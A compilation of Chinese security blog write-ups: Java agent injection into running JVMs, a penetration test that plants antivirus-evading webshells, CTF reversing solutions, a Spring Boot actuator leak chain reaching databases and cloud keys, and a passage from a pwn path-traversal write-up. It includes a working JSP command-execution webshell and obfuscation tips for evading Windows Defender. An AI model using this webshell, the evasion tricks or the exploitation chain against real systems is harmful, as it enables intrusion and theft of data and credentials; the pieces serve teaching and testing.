Java agent技术的注入利用与避坑点
什么是Java agent技术?
Java代理(Java agent)是一种Java技术,它允许开发人员在运行时以某种方式修改或增强Java应用程序的行为。Java代理通过在Java虚拟机(JVM)启动时以"代理"(agent)的形式加载到JVM中,以监视、修改或甚至完全改变目标应用程序的行为。
Java agent 可以做什么?
安全监控和审计:
通过Java代理,可以在应用程序中注入代码以监视其行为并记录关键事件。这可以用于安全审计目的,以确保应用程序不受到恶意行为或违规操作的影响。
安全验证和授权:
Java代理可以拦截对受保护资源的访问,并执行安全验证和授权操作。通过代理,可以实现访问控制策略,确保只有经过授权的用户或系统可以访问特定资源。
安全加固:
通过Java代理,可以对应用程序进行安全加固,例如实时检测和防御攻击,包括代码注入、SQL注入、跨站点脚本攻击等。代理可以拦截请求,并根据安全策略进行处理,从而提高应用程序的安全性。
加密和解密:
Java代理可以用于实现端到端的数据加密和解密,保护敏感数据在传输过程中的安全性。代理可以拦截数据流,对数据进行加密或解密操作,以确保数据在传输过程中不会被窃取或篡改。
安全日志记录:
Java代理可以用于记录应用程序的安全日志,包括用户操作、异常事件、安全警报等。通过代理,可以将安全日志发送到中央日志服务器进行集中管理和分析,以便及时发现和应对安全威胁。
静态Agent使用
创建Maven项目,写一个类PreMainTraceAgent,使用Maven编译并打成jar包。
package com.example;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class PreMainTraceAgent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("agentArgs : " + agentArgs);
inst.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer {
static int counts=0;
@Override
public byte[] transform(
ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer
) throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
System.out.println("filter "+(counts++)+" class");
return classfileBuffer;
}
}
}
打成jar包之后我们要注意META-INF目录下的MSNIFEST.MF文件,MANIFEST.MF文件是 Java 归档文件(如 JAR文件)的一部分,用于描述归档文件的元数据信息和配置。它通常位于归档文件的根目录下。
一些常见的属性我们需要了解
Manifest-Version: 描述了 MANIFEST.MF 文件的版本。
Created-By: 描述了创建该归档文件的工具名称和版本。
Main-Class: 描述了可执行 JAR 文件的入口类(Main类),当您执行 JAR
文件时,Java虚拟机会自动寻找并执行该类中的main方法。
Class-Path: 描述了归档文件中包含的依赖项 JAR 文件的路径,以便 Java
虚拟机在运行时能够找到并加载这些依赖项。
在构建和部署 Java 应用程序时,MANIFEST.MF文件可以帮助指定各种元数据信息,使得应用程序可以更好地被管理和执行。例如,当您创建一个可执行的JAR 文件时,通过指定 Main-Class 属性,可以告诉 Java 虚拟机该 JAR文件的入口点是哪个类。
另外创建一个项目,写一个主函数,内容随意,配置虚拟机选项。这里-javaagent:后面跟上上面项目jar包的绝对路径。
运行结果如图:
可以看到premain方法中的代码成功的执行在了Main函数之前。这种使用premain方法在Main函数前执行的也被成为静态agent
动态Agent使用
首先是被代理部分(单独的项目)
package com.example;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation
instrumentation) {
instrumentation.addTransformer(new MyTransformer(),true);
}
public static class MyTransformer implements ClassFileTransformer {
static int count = 0;
@Override
public byte[] transform(
ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
System.out.println("hello world");//这里就是我们能看到的输出。
return classfileBuffer;
}
}
}
接下来就是使用Maven打成jar包
默认情况下META-INFMANIFEST.MF文件中有这些内容
Manifest-Version: 1.0
Created-By: Maven JAR Plugin 3.3.0
Build-Jdk-Spec: 11
但是这些是不够的,我们需要指出被代理的类。
Manifest-Version: 1.0
Agent-Class: com.example.AgentMain
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class:指定了代理的入口类。这个属性告诉 Java
虚拟机代理应该从哪个类的 premain 或 agentmain方法开始执行。premain 方法用于静态代理(在 JVM启动时加载),而 agentmain 方法用于动态代理(在 JVM运行时加载)。代理的入口类必须包含其中一个方法。
Can-Redefine-Classes:指定了代理是否可以重新定义类。如果设置为
true,代理将允许重新定义已经加载的类,这意味着你可以修改已经加载的类的字节码。这对于某些代理操作,如热代码替换,非常有用。
Can-Retransform-Classes:指定了代理是否可以重新转换类。如果设置为
true,代理将允许重新转换已经加载的类,这意味着你可以多次修改已经加载的类的字节码。这对于一些特定的代理操作也是非常有用的,如AOP(面向切面编程)。
因为是动态加载所以我们不需要在虚拟机启动选项中指定jar包的路径。
接下来写主程序的测试类
package org.example;
import com.sun.tools.attach.VirtualMachine;
import java.io.File;
import java.lang.management.ManagementFactory;
public class TestMain {
public static void main(String[] args) {
String agentJarPath =
"C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar";
File agentJarFile = new File(agentJarPath);
if (!agentJarFile.exists()) {
System.err.println("Agent JAR file not found.");
return;
}
String name = ManagementFactory.getRuntimeMXBean().getName();
String pid = name.split("@")[0];
if (pid == null) {
System.err.println("Unable to find process ID.");
return;
}
String targetClassName = "AgentMain";
try {
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentJarPath,targetClassName);
vm.detach();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里在获取进程号的时候会因为版本的不同而出现错误,java9以下默认是正常的,java9以上会出现报错,我们需要在虚拟机启动参数中加上-Djdk.attach.allowAttachSelf=true。
运行结果:
为什么结果中有多个helloworld
这里有讲一下为什么我们在代码中之用了一次sout,但是在结果中却出现了多个helloworld。
MyTransformer类中的transform方法中的输出语句只会在类被加载时执行一次,但是它会对每个类文件调用一次。由于一个类可能会由多个ClassLoader加载,或者同一个ClassLoader可能会加载多次,因此会导致多次输出。
这种情况通常在Java应用程序中使用了多个ClassLoader时发生,例如Web应用程序中的热部署或者OSGi环境中。每次类被加载,transform方法都会被调用一次,因此会看到多次输出。
我们可以修改一下代码做测试,这里我在每个helloworld后添加了被加载类的名字
修改后的输出结果:
实战示例:修改目标虚拟机中执行的程序
第一步
首先我们写出我们正在执行的程序:循环打印helloworld。
package org.example;
import static java.lang.Thread.sleep;
public class Main {
public static void main(String[] args) throws InterruptedException {
while(true) {
hello();
sleep(1500);
}
}
public static void hello(){
System.out.println("Hello World!");
}
}
第二步
准备我们的agentmain和ClassFileTransformer实现类。
package com.example;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation
instrumentation) throws UnmodifiableClassException {
Class [] classes = instrumentation.getAllLoadedClasses();
//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("org.example.Main")){
instrumentation.addTransformer(new HackTransform(),true);
instrumentation.retransformClasses(cls);
}
// System.out.println(cls.getName());
}
}
}
package com.example;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class HackTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("org/example/Main")) {
try {
System.out.println(className);
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}
CtClass ctClass = classPool.get("org.example.Main");
System.out.println(ctClass);
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");
//设置方法体
String body = "{System.out.println("[+]Hacker!!");}";
ctMethod.setBody(body);
ctClass.defrost();
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
第三步
把第二步中的两个类打成jar包。并修改其中MANIFEST.MF中的内容。
MANIFEST.MF中的内容
Manifest-Version: 1.0Agent-Class:com.example.AgentMainCan-Redefine-Classes: trueCan-Retransform-Classes:true
第四步
写我们的注入代码
package org.example;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class inject {
public static void main(String[] args) throws IOException,
AttachNotSupportedException, AgentLoadException,
AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
System.out.println(vmd.displayName());
if (vmd.displayName().equals("org.example.Main")) {
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
String agentJarPath =
"C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar";
//加载Agent
virtualMachine.loadAgent(agentJarPath,"com.example.AgentMain");
//断开JVM连接
virtualMachine.detach();
}
}
}
}
第五步
执行即可(先运行主java程序,后运行注入程序)
某资产管理系统打点过程中的免杀经历
上周初,被扔过来单位内部的一个链接,让渗透一下,本以为三下五除二很快就能测完,没想到在对抗杀软时费了一番功夫,再加上杂七杂八的事儿,经过了一个星期才测完(# ̄~ ̄#)。打开链接,见到一个熟悉的登录框,是一个资产管理系统。
在进行了一番端口目录、认证机制、会话管理、授权访问等方面的检查后发现了一些问题,这里不做赘述,此次重点想写写拿shell的经历。进入主页面,没用多长时间就找到了上传点,而且有两个。一个是头像上传,涉及裁剪、压缩等操作。
另一个是工具上传,允许直接上传文件(包)。两全伤害取其轻,就用这个。
创建个txt,随便加点内容进去,burp抓包看看这个功能的情况。
上传成功,并且有回显路径,有戏。
访问一下文件地址也展现出来了,直接上马子试试。
被阻断,不允许上传.java、.class、.jsp、.html等类型文件。一看就是之前经历过渗透测试,吃过亏(事后查了一下这家软件公司,做了不少企业的资产管理系统,是个成熟的项目,而且公司在2023年中已经上市,尽管在北交所,也必然会遵循一定的代码规范)。刚才上传用的是冰蝎4,查看burp的history中并无请求出现,证明是前端验证。尝试绕过前端验证,直接将冰蝎源码上传。
成功绕过,并且返回了文件路径……这就要完活儿了?!似乎有些轻松。访问一下:
404,文件没了。紧接着又拿哥斯拉试了一遍,同样是返回了路径,同样是404……猜测可能有杀软,落地文件被删除。接下来要做免杀了,使用在线工具对webshell进行变异,上传后一路404,更加确定杀软的存在。并且这款杀软的静态特征检测库还很全,如果仅仅混淆边边角角的代码是无法过它的,猜测它是能够匹配关键代码、关键API。
变异的厉害了还抛出了500,破坏了webshell自身的逻辑,甚至是添加了错误代码。看来省事儿的方式效果不理想,想要落地还是得自己动手,ε=(´ο`*)))唉。
最后使用了一个加长版的一句话木马才成功落地,请求如下:
访问文件路径并带上whoami。
直接就是administrator管理员。此马儿与传统的一句话jsp一样,也是用Runtime来执行命令,只不过前面加了一个参数pwd固定值判断,后面使用System.out来print一个String,并且这个String是命令执行的结果。
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
但是蚁剑不给力,连接时报500。尝试了多种设置均以失败告终,哪位大神研究过蚁剑还请指导一下,Thanks♪(・ω・)ノ。
测试到这个地步对于这个活儿来说其实可以交差了,已经拿到了权限,但如果想进行横向的话是无法继续利用的,所以还是要做免杀。掏出珍藏多年的idea(鄙视自己一下ε(┬┬﹏┬┬)3),打开冰蝎,调好格式,尝试做混淆。鉴于前面踩过坑,已经了解到该杀软能够检测到关键代码,所以直接分析源码。作为webshell,回显是必须的功能,而对于冰蝎来说,response数据来自于request.getReader().readLine()。因此直接对第18行动手,先用注释尝试一下,随便填加一些字符。
发送请求:
成功。访问一下回显路径:
空白页,没有报404,证明文件确实落地了,没有被杀掉。上冰蝎:
连接成功!免杀完毕。这次是真的可以交差了。进来后第一件事儿就是看看到底是哪个杀软在作祟:
MsMpEng.exe,微软的Windows Defender。
好奇心驱使,又拿了一个原版的冰蝎本地验证一下,果不其然,被秒杀(图中右上角的文件):
总结,这次拿shell的过程主要是在对抗杀软上耗费了很多时间,其次是在寻找杀软的进程上。因为服务器上一般都有专业杀毒软件或者HIDS防护,没有想到是Windows自己的Defender。虽然在写的时候只用一句话一张图带过,但在搜索进程的时候还特地整理了一份常见杀软的表格,挨个儿比对才有了最后那张图。
矩阵爆破逆向之条件断点的妙用
不知道你是否使用过IDA的条件断点呢?在IDA进阶使用中,它的很多功能都有大作用,比如:ida-trace来跟踪调用流程。同时IDA的断点功能也十分强大,配合IDA-python的输出语句能够大杀特杀!
那么本文就介绍一下这个功能点,使用z3来秒解题目。
条件断点
什么是条件断点呢?
条件断点(ConditionalBreakpoint)是一种在代码调试过程中设置的断点,它可以根据特定的条件暂停程序的执行。当程序执行到设置了条件断点的代码行时,如果该条件为真,则程序会暂停执行;如果该条件为假,则程序会继续执行。这种调试技术常用于复杂的程序调试,能够帮助程序员更快地发现程序中的错误,并提高调试的效率。条件断点可以应用于多种编程语言和开发环境中,如C++、Java、Python等。
与普通的断点大差不差,不同点在于,程序运行到条件断点处时,不会让程序暂停,而是继续执行,并执行我们设置好的脚本。
OK,接下来让我们分析这道题目
初次分析
main函数
flag的格式
打开main函数,发现使用了SIMD指令赋值了一些关键数据
继续分析
看来cry1和cry2是很关键的函数
密文:
cry1
发现对我们的输入flag,进行一些转换:
比如:位置顺序和对我们的flag异或一个固定的值。
异或的值是由上下文决定的,但是总是单字节固定
将输入的flag运算完后,转换为 一个int类型的矩阵
初次分析到此结束
cry2
条件断点妙用
经过动调,我发现关键的加密就这三个汇编指令。
意思:取flag->与一个固定的矩阵相乘->输出加密之后的矩阵
如果我们能够打印,加密前的flag和相乘的矩阵元素,就可以逆推明文啦
主要是不清楚,矩阵相乘的顺序,可能是打乱的,那样只能这样来做。
使用了:条件断点
这三个断点依次使用下面3个条件输出
主要是这两个命令:
get_reg_value("rbx") 获取rbx寄存器的值
idc.get_wide_dword() 获取某地址的值(4字节读取)
print("[rbx] = ",hex(idc.get_wide_dword(get_reg_value("rbx"))))
print("rax = ",hex(get_reg_value("rax")),"[rdi]=
",hex(idc.get_wide_dword(get_reg_value("rdi"))))
print("output,rax = ",hex(get_reg_value("rax")),"n")
然后edit breakpoint
OK,见证奇迹的时刻到了,运行程序,成功输出:
推导
因为密文说16字节的,我们将真正的密文提取出来和我们输入假flag产生的密文也提取出来,进行对比
Python
密文
unsigned int data[16] = {
0x00000436, 0x000002B4, 0x000002AF, 0x00000312, 0x000002EA, 0x00000253,
0x0000020A, 0x0000028E,
0x000001C6, 0x0000015C, 0x0000017C, 0x0000017A, 0x0000069E, 0x000004AE,
0x000004B1, 0x00000522
};
假flag输出的结果密文
unsigned int data[16] = {
0x00000466, 0x000002F9, 0x00000329, 0x0000046E, 0x00000290, 0x00000184,
0x000001E4, 0x0000023A,
0x00000183, 0x000000C1, 0x0000011E, 0x00000122, 0x00000646, 0x00000467,
0x000004F7, 0x000005EA
};
这是根据条件输出得到的规律;
x1*1+x2*5+x3*4+x4*3=0x436
y1*1+y2*5+y3*4+y4*3=0x2B4
z1*1+z2*5+z3*4+z4*3=0x2AF
n1*1+n2*5+n3*4+n4*3=0x312
x1*2+x2*1+x3*2+x4*3=0x2EA
y1*2+y2*1+y3*2+y4*3=0x253
z1*2+z2*1+z3*2+z4*3=0x20A
n1*2+n2*1+n3*2+n4*3=0x28E
x1*2+x2+x3+x4=0x1c6
y1*2+y2+y3+y4=0x15c
z1*2+z2+z3+z4=0x17c
n1*2+n2+n3+n4=0x17a
x1*3+x2*5+x3*4+x4*7=0x69e
y1*3+y2*5+y3*4+y4*7=0x4ae
z1*3+z2*5+z3*4+z4*7=0x4b1
n1*3+n2*5+n3*4+n4*7=0x522
z3解密
解密脚本:
Python
from z3 import *
# 定义变量
x = [Int(f'x{i}') for i in range(1, 5)]
y = [Int(f'y{i}') for i in range(1, 5)]
z = [Int(f'z{i}') for i in range(1, 5)]
n = [Int(f'n{i}') for i in range(1, 5)]
# 定义目标值
goal = [
0x466,
0x2f9,
0x329,
0x46e,
0x290,
0x184,
0x1e4,
0x23a,
0x183,
0xc1,
0x11e,
0x122,
0x646,
0x467,
0x4f7,
0x5ea
]
# 定义约束条件
constraints = [
x[0]*1 + x[1]*5 + x[2]*4 + x[3]*3 == goal[0],
y[0]*1 + y[1]*5 + y[2]*4 + y[3]*3 == goal[1],
z[0]*1 + z[1]*5 + z[2]*4 + z[3]*3 == goal[2],
n[0]*1 + n[1]*5 + n[2]*4 + n[3]*3 == goal[3],
x[0]*2 + x[1]*1 + x[2]*2 + x[3]*3 == goal[4],
y[0]*2 + y[1]*1 + y[2]*2 + y[3]*3 == goal[5],
z[0]*2 + z[1]*1 + z[2]*2 + z[3]*3 == goal[6],
n[0]*2 + n[1]*1 + n[2]*2 + n[3]*3 == goal[7],
x[0]*2 + x[1] + x[2] + x[3] == goal[8],
y[0]*2 + y[1] + y[2] + y[3] == goal[9],
z[0]*2 + z[1] + z[2] + z[3] == goal[10],
n[0]*2 + n[1] + n[2] + n[3] == goal[11],
x[0]*3 + x[1]*5 + x[2]*4 + x[3]*7 == goal[12],
y[0]*3 + y[1]*5 + y[2]*4 + y[3]*7 == goal[13],
z[0]*3 + z[1]*5 + z[2]*4 + z[3]*7 == goal[14],
n[0]*3 + n[1]*5 + n[2]*4 + n[3]*7 == goal[15]
]
# 创建求解器
solver = Solver()
# 添加约束条件
solver.add(constraints)
# 求解
if solver.check() == sat:
model = solver.model()
for i in range(1, 5):
print(f'x{i} = {model[x[i-1]]}')
print(f'y{i} = {model[y[i-1]]}')
print(f'z{i} = {model[z[i-1]]}')
print(f'n{i} = {model[n[i-1]]}')
else:
print('无解')
得到的结果,将其按照数组来填充
得到
Python
这是真flag解密后的结果:
x1 = 100
y1 = 89
z1 = 119
n1 = 92
x2 = 66
y2 = 5
z2 = 69
n2 = 4
x3 = 84
y3 = 83
z3 = 4
n3 = 104
x4 = 104
y4 = 82
z4 = 69
n4 = 86
100,89,119,92,66,5,69,4,84,83,4,104,104,82,69,86
这是假flag解密后的结果:
x1 = 60
y1 = 1
z1 = 47
n1 = 4
x2 = 88
y2 = 87
z2 = 86
n2 = 95
x3 = 89
y3 = 13
z3 = 14
n3 = 94
x4 = 90
y4 = 91
z4 = 92
n4 = 93
60,1,47,4,88,87,86,95,89,13,14,94,90,91,92,93
按照我的思路来填充结果数组;
因为刚才说了,异或的值不清楚,但是一直为单字节固定值,所以使用Cybe的爆破功能。
根据程序的验证功能可知,flag以Sn@K开头,所以找到了真正的flag
但是顺序发生了变化,下面是假flag生成密文解密之后的结果,发现密文变化了
+-----------------------------------------------------------------------+
| Sn@ku2r3cd3__era |
| Sn@k78906ba15432 |
| |
| Sn@k0123456789ab |
| |
| 经过交换后的结果: |
| |
| Sn@k78906ba15432 |
| |
| 按照我们构造的flag交换顺序后的字符串来恢复 |
| 恢复 |
| Sn@k3_are_cu2r3 |
+-----------------------------------------------------------------------+
成功验证!
【总结】对大量函数进行trace调用流程+国际AIS3题
现在混淆的主要目的之一就有让逆向分析人员不清楚函数的调用流程,给你一堆函数,加了高强度的OLLVM,更不能看了。那么Trace跟踪技术就显得很重要的,如果清楚了函数调用流程,那么逐个分析,距离成功不就很快了。
万事开头难,逆向程序难在不知道从哪开始。
前几天做了一道AIS3的题目,内含50个加密函数,加密的流程很简单,关键是对这50个加密函数进行了ollvm控制流平坦化魔改(去除也很简单),主要是想抛砖引玉,锻炼和练习trace的技术。这样在以后遇到高强度的混淆干扰也能有一战的能力。
题目附件如下:
[stateful]
本文的重点在于总结trace技巧,题目本身不算很难。
分析
打开题目,进入main函数
发现逻辑不是很难,进入state_machine函数
好家伙,一大坨
尝试使用OBPO插件去除,发现直接卡死。使用D810也是卡死。
更高级的玩法使用Unicorn进行去除,类似deflat
本文的重点是在不去除平坦化的前提下去trace函数调用流程
发现有50多个state函数,并且每个函数的功能很简单,我们的目的是:
trace每一个函数,并在梳理调用流程的过程中,输出关键的加密流程,从而写出解密流程
注意调试的时候,记得传入参数
Trace
方法一:手动trace
最简单粗暴的方法,对每一个state函数下断点,然后运行程序,逐一拿到调用流程。
如果函数过多,这种方法就不太行了
最终笔者运行拿到了调用的流程
a1[14] += a1[35] + a1[8];
a1[9] -= a1[2] + a1[22];
*a1 -= a1[18] + a1[31];
a1[2] += a1[11] + a1[8];
a1[6] += a1[10] + a1[41];
a1[14] -= a1[32] + a1[6];
a1[16] += a1[25] + a1[11];
a1[31] += a1[34] + a1[16];
a1[9] += a1[11] + a1[3];
a1[17] += *a1 + a1[7];
a1[5] += a1[40] + a1[4];
a1[37] -= a1[29] + a1[3];
a1[23] += a1[7] + a1[34];
a1[39] -= a1[25] + a1[38];
a1[27] += a1[18] + a1[20];
a1[20] += a1[19] + a1[24];
a1[15] += a1[22] + a1[10];
a1[30] -= a1[33] + a1[8];
a1[1] -= a1[29] + a1[13];
a1[19] += a1[10] + a1[16];
*a1 += a1[33] + a1[16];
a1[36] += a1[11] + a1[15];
a1[24] += a1[20] + a1[5];
a1[7] += a1[21] + *a1;
a1[1] += a1[15] + a1[6];
a1[30] -= a1[13] + a1[2];
a1[1] += a1[16] + a1[40];
a1[31] += a1[1] + a1[16];
a1[32] += a1[5] + a1[25];
a1[13] += a1[25] + a1[28];
a1[7] += a1[10] + *a1;
a1[21] += a1[34] + a1[15];
a1[21] -= a1[13] + a1[42];
a1[18] += a1[29] + a1[15];
a1[4] += a1[7] + a1[25];
*a1 += a1[28] + a1[31];
a1[2] += a1[34] + a1[25];
a1[13] += a1[26] + a1[8];
a1[41] -= a1[3] + a1[34];
a1[37] += a1[27] + a1[18];
a1[4] += a1[27] + a1[25];
a1[23] += a1[30] + a1[39];
a1[18] += a1[26] + a1[31];
a1[10] -= a1[12] + a1[22];
a1[4] += a1[6] + a1[22];
a1[37] += a1[12] + a1[16];
a1[15] += a1[40] + a1[8];
a1[17] += a1[38] + a1[24];
a1[8] += a1[14] + a1[16];
a1[5] += a1[37] + a1[20];
其实手都快残了
方法二:IDA-trace
程序动态调试的时候才可以使用trace功能
IDA自动进行trace跟踪,然后稍等片刻
可以发现成功的trace了调用了流程
但是有一点不方便的是,有了调用流程,但是我们还要进入每一个函数,提取加密的流程才行。
IDA快捷键Ctrl+F5可以导出整个程序的伪代码
然后进一步提取和分析
这里可以使用IDA-python自动下断点
Go
import idc
bpt_addr = 0x5599F331ADA7
bpt_size=1
idaapi.add_bpt(bpt_addr,bpt_size)
print("Final")
当然还不够,我们要达到的效果是,触发断点然后输出相关加密信息到output函数窗口,就是有断点回调函数
import idaapi
# 定义回调函数
def my_bpt_callback(bptno):
print("Breakpoint %d hit!" % bptno)
# 添加断点
bpt_addr = 0x5599F331ADA7
bpt_size=1
bpt = idaapi.add_bpt(bpt_addr,bpt_size)
# 设置断点回调
idaapi.add_bpt_chngev_cnd(bpt, idaapi.BPT_EXEC, my_bpt_callback)
#设置执行断点
-----------------------------------------------------------------------
idaapi.BPT_EXEC 表示执行事件
方法三:trace_natives
https://github.com/Pr0214/trace_natives按照说明,进行输出,发现是这样的效果(IDA中,Edit-Plugins-traceNatives)
解密
有了调用流程,剩下的就很简单了
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <iostream>
int main() {
unsigned char a1[] =
{
0x0F, 0x77, 0xEC, 0x33, 0x44, 0x16, 0x13, 0x59, 0x1D, 0x42,
0x84, 0x75, 0x5F, 0xE4, 0x83, 0xC0, 0x3B, 0xC1, 0x95, 0xCF,
0xDB, 0x33, 0x6C, 0xD2, 0xED, 0x72, 0x5F, 0x0D, 0x74, 0x41,
0x5B, 0x73, 0xA0, 0x33, 0x53, 0x24, 0x02, 0x59, 0x74, 0x60,
0x33, 0xCC, 0x7D
};
a1[5] -= a1[37] + a1[20];
a1[8] -= a1[14] + a1[16];
a1[17] -= a1[38] + a1[24];
a1[15] -= a1[40] + a1[8];
a1[37] -= a1[12] + a1[16];
a1[4] -= a1[6] + a1[22];
a1[10] += a1[12] + a1[22];
a1[18] -= a1[26] + a1[31];
a1[23] -= a1[30] + a1[39];
a1[4] -= a1[27] + a1[25];
a1[37] -= a1[27] + a1[18];
a1[41] += a1[3] + a1[34];
a1[13] -= a1[26] + a1[8];
a1[2] -= a1[34] + a1[25];
*a1 -= a1[28] + a1[31];
a1[4] -= a1[7] + a1[25];
a1[18] -= a1[29] + a1[15];
a1[21] += a1[13] + a1[42];
a1[21] -= a1[34] + a1[15];
a1[7] -= a1[10] + *a1;
a1[13] -= a1[25] + a1[28];
a1[32] -= a1[5] + a1[25];
a1[31] -= a1[1] + a1[16];
a1[1] -= a1[16] + a1[40];
a1[30] += a1[13] + a1[2];
a1[1] -= a1[15] + a1[6];
a1[7] -= a1[21] + *a1;
a1[24] -= a1[20] + a1[5];
a1[36] -= a1[11] + a1[15];
*a1 -= a1[33] + a1[16];
a1[19] -= a1[10] + a1[16];
a1[1] += a1[29] + a1[13];
a1[30] -= a1[33] + a1[8];
a1[15] -= a1[22] + a1[10];
a1[20] -= a1[19] + a1[24];
a1[27] -= a1[18] + a1[20];
a1[39] += a1[25] + a1[38];
a1[23] -= a1[7] + a1[34];
a1[37] += a1[29] + a1[3];
a1[5] -= a1[40] + a1[4];
a1[17] -= *a1 + a1[7];
a1[9] -= a1[11] + a1[3];
a1[31] -= a1[34] + a1[16];
a1[16] -= a1[25] + a1[11];
a1[14] += a1[32] + a1[6];
a1[6] -= a1[10] + a1[41];
a1[2] -= a1[11] + a1[8];
*a1 += a1[18] + a1[31];
a1[9] += a1[2] + a1[22];
a1[14] -= a1[35] + a1[8];
printf("%s", a1);
return 0;
}
得到flag
AIS3{4re_YOu@sTATEfUl_0r_StA03L3S$_ctF3R}
Spring Boot 信息泄露总结
1.目标
2.微信sessionkey泄露导致任意用户登录
点击快捷登录,发现可以使用手机号进行登录
发现sessionkey,使用工具利用
没有账号,尝试13111111111(一般测试账号是这个),成功登录
3.进行指纹识别,发现为SpringBoot框架,测试发现SpringActuator信息泄露
4.发现actuator/gateway/routes(Spring路由)可以访问,尝试Spring CloudGeteway Rce Nday利用
利用失败
5.访问配置环境(actuator/env),发现加密的redis密码
由于heapdump端点提供来自应用程序 JVM的堆转储。因此下载到本地分析(可以通过分析查看/env端点被*号替换到数据的具体值。)
分析得到redis密码,redis-cli连接成功
6.访问配置环境(actuator/env),还发现Nacos开放在另外一个ip下
发现这个熟悉的界面
后加nacos成功访问
使用Nacos未授权添加账号密码,成功进入
7.分析代码的详情,发现数据库账号密码,redis账号密码
数据库连接成功
0.4G的学生数据
发现微信key,企业微信key,还有微信支付的key
发现阿里云ak-sk
还有minioadmin的存储桶
存储桶登录成功
总结,Spring框架页内使用广泛,但是记得禁止这个目录的访问(/actuator/),否则一旦泄露,可能导致一系列严重的漏洞。
深入解析RealWorldCTF 2024体验赛PWN方向题目
前言
本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题目——"Be-an-HTPPd-Hacker"进行深入解析和讲解。该题目涉及一个十一年前的项目,其基于C语言实现了HTTP协议。我们将通过对该协议进行栈溢出攻击,探索真实世界中的攻击手法,并从中学习更多有用的攻击技巧,以提升我们的安全水平。通过理解攻击原理和方法,我们能够更好地理解安全防御的重要性,并为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望能为读者提供深入而有价值的学习体验。
搜索字符串,github找源码
从IDA中,shift+F12提取,得到字符串,在github进行搜索能够得到源码在这:
https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c具体构造
构造的代码如下,也就是方法 地址 加协议:
method, uri, vProtocol
如 POST http://www.baidu.com xxx
源码如下:
request parseRequest(char buffer[]) {
char *ptr = buffer;
char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE];
request req;
sscanf(ptr, "%s %s %s", method, uri, vProtocol);
// Somente GET ou POST
if(strcasecmp(method, "GET") == 0)
req.method = "GET";
else if (strcasecmp(method, "POST") == 0)
req.method = "POST";
else {
req.method = "INVALID";
req.vProtocol = "INVALID";
req.uri[0] = '\0';
return req;
}
// Sera testado futuramente. Por enquanto aceita que é um uri valido
req.uri = uri;
if(strcasecmp(vProtocol, "HTTP/1.0") == 0)
req.vProtocol = "HTTP/1.0";
else if (strcasecmp(vProtocol, "HTTP/1.1") == 0)
req.vProtocol = "HTTP/1.1";
else
req.vProtocol = "HTTP/1.1"; // se nao especificado
return req;
}
GET路径穿越
其中get请求,经过简单尝试和逆向发现存在路径穿越,其直接对WWW进行拼接读取。
else if (res.status == 200 ) // Ok
{
return sendFile(req, res,connfd);
}
阅读源码发现如上。
路径穿越漏洞(Path Traversal Vulnerability)是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限访问的文件或目录,通过修改文件路径来绕过应用程序的访问控制机制。
不过flag没有可读权限,只能通过readflag来执行。
from evilblade import *
context(os='linux', arch='amd64')
# context(os='linux', arch='amd64', log_level='debug')
#GET /index.html HTTP/1.1
setup('./pwn')
libset('./libc.so.6')
rsetup('127.0.0.1',33333)
# rsetup('121.40.246.203',30594)
# pause()
payload = 'GET ' + '/img/../../../etc/profile HTTP/1.0\x00'
# payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n'
pause()
sl(payload)
ia()
这是路径穿越读/etc/profile。
POST栈溢出
其实不是源码也分析的差不多了,就是不太理解这个&=的分割,还有会存在一个奇怪的堆溢出,堆溢出主要是因为malloc大小引起的,在计算
